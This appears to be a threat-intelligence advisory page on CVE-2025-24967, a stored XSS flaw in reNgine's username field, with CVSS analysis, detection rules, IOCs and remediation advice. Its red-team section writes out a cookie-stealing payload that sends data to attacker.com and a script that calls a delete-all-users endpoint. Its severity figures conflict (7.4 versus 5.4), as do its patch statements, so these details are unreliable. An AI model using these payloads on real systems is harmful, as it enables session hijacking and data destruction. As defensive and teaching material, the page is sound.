☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-24967

CVE-2025-24967 Cross-Site Scripting in Rengine
📅 PUBLISHED: 2025-02-04 19:28 UTC 🔄 UPDATED: 2026-09-23 20:21 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24967 is a stored cross-site scripting (XSS) vulnerability in the reNgine automated reconnaissance framework. An attacker with low-privileged access can inject malicious JavaScript payloads into the username field during user creation. When an administrator views or interacts with the affected user entry in the admin panel, the payload executes in the context of the admin's session. This can lead to session hijacking, credential theft, or unauthorized actions on the admin panel. The vulnerability affects all versions up to and including 2.2.0. No patch or workaround is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

reNgine is a Python-based web application. The vulnerability exists in the user management module of the admin panel. Since no patch is available, users must monitor the project repository for future releases. The attack surface is limited to authenticated users with user creation privileges, but the impact is amplified by the admin's elevated privileges.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - The attacker needs a low-privileged account to create users.
  • User Interaction (UI): Required (R) - The admin must view the malicious user entry.
  • Scope (S): Changed (C) - The vulnerability impacts resources beyond the original scope (admin panel).
  • Confidentiality (C): Low (L) - Limited information disclosure possible.
  • Integrity (I): Low (L) - Limited ability to modify data.
  • Availability (A): None (N) - No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the potential for admin-level compromise makes it significant.

Deep Dive & Mechanics

The vulnerability resides in the user creation functionality of the reNgine admin panel. When a new user is created, the username field is not properly sanitized or encoded before being stored in the database. When the admin views the user list or edits a user, the stored username is rendered in the HTML without proper escaping. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. Attacker logs in with a low-privileged account.
  2. Attacker navigates to the user creation page.
  3. Attacker enters a malicious payload in the username field, e.g., <img src=x onerror=alert(1)>.
  4. The payload is stored in the database.
  5. Admin logs in and views the user list.
  6. The payload executes in the admin's browser, allowing the attacker to perform actions on behalf of the admin.

Root Cause: Lack of output encoding when rendering the username field in the admin panel.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# In the admin panel template (e.g., user_list.html)
<div>{{ user.username }}</div>

Patched Code (Conceptual):

# Properly escape the username
<div>{{ user.username|e }}</div>

The fix would involve using a template engine's auto-escaping feature or manually escaping the username before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of reNgine (version <= 2.2.0).
  • A low-privileged user account with permission to create users.

Exploitation Steps:

  1. Log in to reNgine with the low-privileged account.
  2. Navigate to the user management section.
  3. Create a new user with the following payload in the username field:
    <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
    
  4. Wait for an admin to view the user list.
  5. The admin's cookie will be sent to the attacker's server.

Advanced Payload:

<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/admin/delete-all-users', true);
  xhr.send();
</script>

Blue Team

Detection:

  • Monitor for unusual usernames containing HTML tags or JavaScript code.
  • Look for requests to /user/create with suspicious payloads in the username parameter.
  • Use web application firewalls (WAF) to block XSS payloads.

Mitigation:

  • Implement input validation to reject usernames containing HTML tags.
  • Apply output encoding in all templates.
  • Restrict user creation privileges to trusted administrators only.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Requests to /user/create with payloads containing <script>, <img, or onerror in the username parameter.
    • Outbound connections to attacker-controlled domains from the reNgine server.
  • Host IOCs:

    • User entries in the database containing HTML tags in the username field.
    • Suspicious entries in the admin panel's user list.
  • Log IOCs:

    • Log entries showing user creation with unusual usernames.
    • Admin panel access logs showing interaction with malicious user entries.

Detection Engineering

YARA Rule

rule reNgine_Stored_XSS_Username {
    meta:
        description = "Detects stored XSS payloads in reNgine username fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24967"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /javascript:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: reNgine Stored XSS in Username Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-24967 by injecting XSS payloads into the username field.
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: rengine
detection:
    selection:
        http.method: POST
        http.url: /user/create
        http.body|contains:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate usernames containing similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"reNgine Stored XSS Attempt in Username"; flow:to_server; content:"POST"; http_method; content:"/user/create"; http_uri; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict user creation privileges to only trusted administrators.
  2. Implement a web application firewall (WAF) to block XSS payloads.
  3. Monitor logs for suspicious user creation activities.

Long-term Fix:

  • Apply output encoding in all templates where user-supplied data is rendered.
  • Use a content security policy (CSP) to mitigate the impact of XSS.
  • Upgrade to a patched version once released.

Workarounds:

  • None available. The vendor has not provided any workarounds.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24967/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.